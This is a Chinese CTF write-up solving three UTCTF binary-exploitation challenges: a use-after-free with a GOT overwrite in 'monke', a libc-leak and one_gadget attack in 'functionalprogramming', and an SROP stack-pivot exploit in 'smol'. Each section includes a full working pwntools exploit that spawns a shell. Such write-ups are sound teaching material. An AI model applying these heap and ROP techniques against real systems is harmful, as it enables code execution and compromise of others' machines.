UTCTF赛后复现

这次比赛做了两道题之后就没怎么看了,忙其他的去了。这里主要复现一下另一道题,monke。做这道题的时候估计脑子抽风了,居然没看还有一个隐藏选项在IDA中明明白白地显示着,自己居然没发现,导致啥漏洞都找不出来。

一、MONKE复现:

1.常规IDA,checksec一下,只开了NX。漏洞点在Free模块和隐藏选项:

Free模块

img

隐藏选项:

img

可以看到当free的时候,会对can_eat这个全局变量进行判断:

1
2
3
4
5
6
7
//注释头


can_eat默认为1
------------------------------------------------------------------------------
if ( can_eat )
inventory[edit_idx] = 0LL;

如果为1,则将指针置零,否则就不置零。这样就会造成管理banana的inventory[idx]指针悬空,再加上选项2可以rename修改内容,直接造成UAF漏洞。同时,由于这里是通过结构体inventory来管理banana,结构体如下:

1
2
3
4
5
6
//注释头

00000000 inventory struc ; (sizeof=0x10, mappedto_4)
00000000 banana dq ?
00000008 name_size dq ?
00000010 inventory ends

打印内容的时候是通过inventory[idx]->banana来打印的,所以如果我们可以把banana的指针指向got表,那么就可以打印出got表中函数的真实地址,从而泄露出libc基地址,这样通过libc基地址和UAF漏洞直接劫持free函数,构造system(“/bin/sh”)即可。

▲思考如何将banana指针指向got表:漏洞点同样也在free函数,由于在malloc时会申请一个0x20大小的chunk来存放banana的地址和size,用来管理banana。但是在free的时候却没有free掉这个0x20大小的chunk。

(1)先申请一个0x20大小的banana0,进入隐藏选项,然后free掉,banana0进入tcache中,但是inventory[0]并没有被置0。

(2)再申请一个0x20大小的banana1,将banan0申请回来,这时管理banana1的chunk就变成了banan0,这样就可以通过inventory[0]来修改banan0从而修改管理banan1的chunk,使得原本指向banan1的指针指向free的got表。

(3)之后再通过选项2,就可以打印inventory[0].banana1的内容,也就是free的got表中的真实地址。

2.开始编写exp:

(1)首先泄露基地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#注释头

find_banana("a", 4)

#跳转至隐藏选项,将can_eat置零。
walk("0")

#吃掉香蕉,使得banana0进入tcache中,方便之后申请回来,同时inventory[0]没有置零。
eat(0)

#申请banana1,将banana0申请回来,使得管理banana1的chunk变成banana0,方便之后修改。
find_banana("b", 8)

#将*(inventory[0].banana)修改为free的got表
rename(0, p64(elf.got["free"]))
sh.sendline("s")
skip_menu()

# 展示inventory,从inventory[0].banana对应的内存上泄露地址
sh.sendline("2")
sh.recvline()
sh.recvline()
free = u64(sh.recvline()[3:].strip().ljust(8, b"\x00"))

#计算得到libc基地址:
libc.address = free - libc.symbols["free"]
log.info(f"libc base leaked @ 0x{libc.address:x}")

(2)劫持free函数为system函数:

1
2
3
4
5
6
7
8
9
#注释头

#此时inventory[1].banana的值应该是free的got表,那么此时修改
#inventory[1].banana.content就会直接修改free的got表,从而劫持函数
sh.sendline("1")
sh.recvline()
sh.sendline("rename")
sh.recvline()
sh.sendline(p64(libc.symbols["system"]))

(3)再申请一个内容为/bin/sh字符串的chunk,释放掉即可getshell:

1
2
3
4
5
#注释头

find_banana("/bin/sh", 10)
eat(2, True)
sh.interactive()

(4)前置函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#注释头

elf = ELF("./monke")
libc = ELF("./libc-2.27.so")
sh = elf.process()
#sh = remote("pwn.utctf.live", 9999)


def skip_menu():
global sh
sh.recvuntil("2: inventory\n")
return bool(sh.recvline(timeout=0.5))

def walk(where="s"):
global sh
sh.sendline("0")
sh.sendlineafter("[n|s|e|w]", where)
return skip_menu()


def find_banana(name, length):
global sh
while not walk():
pass
sh.sendline("3")
sh.sendlineafter("How long would you like the name to be:", str(length))
sh.sendlineafter("What would you like to name it:", name)
skip_menu()


def eat(idx, end = False):
sh.sendline("2")
sh.recvline()
while bool(sh.recvline(timeout=0.5)):
pass
sh.sendline(str(idx))
sh.recvline()
sh.sendline("eat")
sh.recvline()
if not end:
skip_menu()

def rename(idx, name):
sh.sendline("2")
sh.recvline()
while bool(sh.recvline(timeout=0.5)):
pass
sh.sendline(str(idx))
sh.recvline()
sh.sendline("rename")
sh.recvline()
sh.sendline(name)
skip_menu()

二、functionalprogramming:

1.常规IDA,checksec分析,RELRO没开。程序本身很简单,输入function,parameter和element可以构造一个函数,然后调用。

img

2.然后程序运行过程中会泄露出libc地址和,直接从网站https://libc.blukat.me/来找版本,或者使用其他工具也可以,利用泄露出来的abs函数地址,即可得知libc版本为libc6_2.23-0ubuntu11.2_amd64。

3.然后根据程序,即可构造system(“/bin/sh”),或者利用onegadget也可以,这里直接贴exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
#coding:utf-8

from pwn import *
io = remote('pwn.utctf.live',5433)
#io = process('./functionalprogramming')
onegadget = 0xf0364

io.sendline('1')
io.sendline('1')
io.recvuntil("Abs: ")
libc_abs = int(io.recv()[2:14],16)
libc_base = libc_abs-0x3a640
log.info('libc_abs:%x'%libc_abs)
log.info('libc_base:%x'%libc_base)
io.sendline('1')

#io.sendline('1')
payload = ""
payload += hex(libc_base+onegadget)
payload = payload.replace('0x','')

io.send(payload)
io.interactive()

三、Smol复现:

1.没啥好分析的,栈溢出漏洞,什么保护都没开,存在BSS段,常规SROP,利用栈劫持到BSS段,懂的都懂。

2.直接贴exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
#coding:utf-8

from pwn import *
context.update(os = 'linux', arch = 'amd64')
io = remote("pwn.utctf.live",9998)

payload = ""
payload += p64(0x402000+0x10)
payload += p64(0x402000+0x10) #addr 0x402008
payload += p64(0x401015) #rsp = 0x402020
io.send(payload)

frame_execve = SigreturnFrame() #设置execve的SROP帧,注意计算/bin/sh\x00所在地址
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = 0x402008
frame_execve.rip = 0x40103D #syscall_addr

payload2 = ""
payload2 += "/bin/sh\x00" #0x402008
payload2 += p64(0x402000+0x10) #0x402010
payload2 += p64(0x401015) #0x402018
payload2 += p64(0x402000+0x30) #0x402020
payload2 += "A"*0x10 #0x402028
payload2 += p64(0x40103D)
payload2 += str(frame_execve) #0x402038
io.send(payload2)

#buf = 0x402008
#rsp = 0x402020
#rbp = 0x402010 ->0x402010

payload3 = payload2[0:8]
payload3 += "\x30\x20\x40\x00\x00\x00\x00"
io.send(payload3)

io.interactive()

但是这里调试了好一段时间,需要再仔细分析一点,下回争取早点解决类似的题目。